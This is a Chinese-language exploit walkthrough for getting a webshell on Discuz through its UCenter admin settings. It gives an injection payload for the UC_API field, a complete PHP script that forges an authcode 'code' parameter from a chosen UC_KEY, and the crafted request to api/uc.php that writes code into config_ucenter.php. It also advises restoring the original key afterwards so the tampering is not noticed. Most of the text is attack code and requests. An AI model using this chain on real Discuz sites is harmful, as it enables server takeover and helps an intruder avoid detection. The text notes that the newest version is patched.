- 进入后台
站长
-Ucenter设置
,设置UC_KEY=随意(一定要记住,后面要用),来闭合http://127.0.0.1/discuz34/uc_server');phpinfo();//
- 成功写进配置文件,这里单引号被转移了,我们接下来使用UC_KEY(dz)去调用
api/uc.php
中的updateapps
函数更新UC_API。 - 利用UC_KEY(dz) 生成code参数
-
<?php $uc_key="123456";// $time = time() + 720000; $str = "time=".$time."&action=updateapps"; $code = authcode($str,"ENCODE",$uc_key); $code = str_replace('+','%2b',$code); $code = str_replace('/','%2f',$code); echo $code; function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key != '' ? $key : '123456'); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
将生成的数据带入GET请求中的code 参数,发送数据包 成功会返回数字1
- http://www.xxoo.com/api/uc.php?code=421aiXku68FseYI3%2fzdLwhNb5sXfCJrQra2e12VOdLJfMW727bAibIFF0wBszPclV1ObACJPYVCmRCAbZOU
-
<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://127.0.0.1/discuz34/uc_server</item> </root>
- 访问 http://127.0.0.1/discuz34/config/config_ucenter.php 代码执行成功
-
到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:
- 从数据库中读取authkey(uc_server),通过UC_MYKEY解密获得UC_KEY(dz),当然有可能authkey(uc_server)就是UC_KEY(dz)。
- 直接进入Ucenter后台修改UC_KEY,修改成我们GetWebShell过程中所设置的值。
- 这里要注意的是单引号插入会插坏
- 最新版中已经有修复了